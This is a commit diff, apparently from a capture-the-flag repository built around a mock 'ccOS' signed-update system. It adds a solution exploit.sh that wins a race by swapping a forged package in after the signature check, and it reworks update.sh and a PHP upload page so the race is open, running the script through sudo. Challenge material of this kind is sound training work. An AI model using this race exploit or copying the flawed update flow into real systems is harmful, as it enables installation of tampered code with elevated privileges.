|
+};
|
||||||
+
|
+
|
||||||
+#define RST_BTN IMX_GPIO_NR(4, 9)
|
+#define RST_BTN IMX_GPIO_NR(4, 9)
|
||||||
@ -4141,8 +4141,8 @@ Index: u-boot-imx/board/tiesse/tgr/spl.c
|
|||||||
+ IMX8MM_PAD_SAI1_RXD6_GPIO4_IO8 | MUX_PAD_CTRL(NO_PAD_CTRL),
|
+ IMX8MM_PAD_SAI1_RXD6_GPIO4_IO8 | MUX_PAD_CTRL(NO_PAD_CTRL),
|
||||||
+};
|
+};
|
||||||
+
|
+
|
||||||
+#define LED_MODEM IMX_GPIO_NR(4, 7)
|
+#define LED_MODEM IMX_GPIO_NR(4, 4)
|
||||||
+#define LED_PWR IMX_GPIO_NR(4, 8)
|
+#define LED_PWR IMX_GPIO_NR(4, 5)
|
||||||
+static void leds_init(void)
|
+static void leds_init(void)
|
||||||
+{
|
+{
|
||||||
+ imx_iomux_v3_setup_multiple_pads(led_pads, ARRAY_SIZE(led_pads));
|
+ imx_iomux_v3_setup_multiple_pads(led_pads, ARRAY_SIZE(led_pads));
|
||||||
@ -4720,7 +4720,7 @@ Index: u-boot-imx/include/configs/tgr.h
|
|||||||
+
|
+
|
||||||
+#define CONFIG_SYS_SDRAM_BASE 0x40000000
|
+#define CONFIG_SYS_SDRAM_BASE 0x40000000
|
||||||
+#define PHYS_SDRAM 0x40000000
|
+#define PHYS_SDRAM 0x40000000
|
||||||
+#define PHYS_SDRAM_SIZE SZ_1G /* 1GB DDR */
|
+#define PHYS_SDRAM_SIZE SZ_2G /* 1GB DDR */
|
||||||
+#define CONFIG_NR_DRAM_BANKS 1
|
+#define CONFIG_NR_DRAM_BANKS 1
|
||||||
+
|
+
|
||||||
+#define CONFIG_SYS_MEMTEST_START PHYS_SDRAM
|
+#define CONFIG_SYS_MEMTEST_START PHYS_SDRAM
|
||||||
|
@ -1,9 +1,9 @@
|
|||||||
auto lo
|
auto lo
|
||||||
iface lo inet loopback
|
iface lo inet loopback
|
||||||
|
|
||||||
auto eth0
|
auto ethsw0
|
||||||
pre-up sleep 10
|
iface ethsw0 inet dhcp
|
||||||
iface eth0 inet dhcp
|
pre-up sleep 20
|
||||||
|
|
||||||
auto ap0
|
auto ap0
|
||||||
iface ap0 inet static
|
iface ap0 inet static
|
||||||
|
Binary file not shown.
16
solution/exploit.sh
Normal file
16
solution/exploit.sh
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
# The solution require the original update.tar.cc in /tmp named 'orig'
|
||||||
|
# and the fake package renamed to 'pwn' in /tmp. Both need to have chmod 777
|
||||||
|
|
||||||
|
cd /tmp;
|
||||||
|
cp orig update.tar.cc;
|
||||||
|
chmod 777 update.tar.cc;
|
||||||
|
sudo -u upgrade /bin/sh /update.sh > log &
|
||||||
|
while true; do
|
||||||
|
if [[ "$(cat log | grep Checking)" ]]; then
|
||||||
|
sleep 0.01
|
||||||
|
cp pwn update.tar.cc;
|
||||||
|
fi
|
||||||
|
done;
|
||||||
|
|
BIN
solution/update.tar.cc
Normal file
BIN
solution/update.tar.cc
Normal file
Binary file not shown.
@ -13,30 +13,29 @@ if [[ "$auth" != "$password" ]]; then
|
|||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
||||||
pubkey="/pub.pem"
|
pubkey="/pub.pem"
|
||||||
file="/tmp/update.tar.cc"
|
file="/tmp/update.tar.cc"
|
||||||
/bin/chmod 777 $file
|
sig="/tmp/sig"
|
||||||
/bin/echo "### ccOS Update Script ###"
|
/bin/echo "### ccOS Update Script ###"
|
||||||
/bin/echo "[+] Starting"
|
/bin/echo "[+] Starting"
|
||||||
/bin/sleep 1
|
|
||||||
/bin/echo "[+] Extracting Signature"
|
/bin/echo "[+] Extracting Signature"
|
||||||
skip=$(expr $(stat -c '%s' $file) - 256)
|
skip=$(expr $(stat -c '%s' $file) - 256)
|
||||||
if [[ -L $file ]]
|
if [[ -L $file ]]
|
||||||
then
|
then
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
/bin/dd if=/tmp/update.tar.cc of=sig bs=1 count=256 skip=$skip
|
/bin/dd if=/tmp/update.tar.cc of=$sig bs=1 count=256 skip=$skip
|
||||||
/usr/bin/truncate -s $skip $file
|
/usr/bin/truncate -s $skip $file
|
||||||
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature /tmp/sig $file`
|
/bin/echo "[+] Checking Signature"
|
||||||
|
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature $sig $file`
|
||||||
if [ "$check" == "Verified OK" ]
|
if [ "$check" == "Verified OK" ]
|
||||||
then
|
then
|
||||||
/bin/echo "[+] Signature is valid!"
|
/bin/echo "[+] Signature is valid!"
|
||||||
/bin/echo "[+] Upgrading..."
|
/bin/echo "[+] Upgrading..."
|
||||||
/bin/tar -xvf $file -C /
|
/bin/tar -xvf $file -C /
|
||||||
/bin/rm $file /tmp/sig
|
/bin/rm $sig
|
||||||
/bin/echo "[+] Done"
|
/bin/echo "[+] Done"
|
||||||
else
|
else
|
||||||
/bin/echo "[-] Signature error, exiting..."
|
/bin/echo "[-] Signature error, exiting..."
|
||||||
/bin/rm $file /tmp/sig
|
/bin/rm $sig
|
||||||
fi
|
fi
|
||||||
|
@ -5,8 +5,9 @@ require_once("includes/header.php");
|
|||||||
require_once("includes/nav.php");
|
require_once("includes/nav.php");
|
||||||
|
|
||||||
if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) {
|
if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) {
|
||||||
move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tgz.cc');
|
move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tar.cc');
|
||||||
exec("/usr/bin/sudo key='".escapeshellarg($_POST['password'])."' /update.sh", $result);
|
exec("/bin/chmod 777 /tmp/update.tar.cc");
|
||||||
|
exec("key='".escapeshellarg($_POST['password'])."' /bin/sh -c '/usr/bin/sudo /bin/sh /update.sh'", $result);
|
||||||
}
|
}
|
||||||
|
|
||||||
?>
|
?>
|
||||||
@ -19,7 +20,7 @@ if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['
|
|||||||
<input type="submit" class="btn btn-b btn-sm smooth" value="Upload">
|
<input type="submit" class="btn btn-b btn-sm smooth" value="Upload">
|
||||||
<p>
|
<p>
|
||||||
<ul>
|
<ul>
|
||||||
<li>Please select the file <i>ccOS-ver-xxxx.tgz.cc</i></li>
|
<li>Please select the file <i>update.tar.cc</i></li>
|
||||||
<li>The update will take about 2 minutes</li>
|
<li>The update will take about 2 minutes</li>
|
||||||
<li>Updates are cryptographically signed for integrity and authenticity</li>
|
<li>Updates are cryptographically signed for integrity and authenticity</li>
|
||||||
</ul>
|
</ul>
|
||||||
|
Loading…
Reference in New Issue
Block a user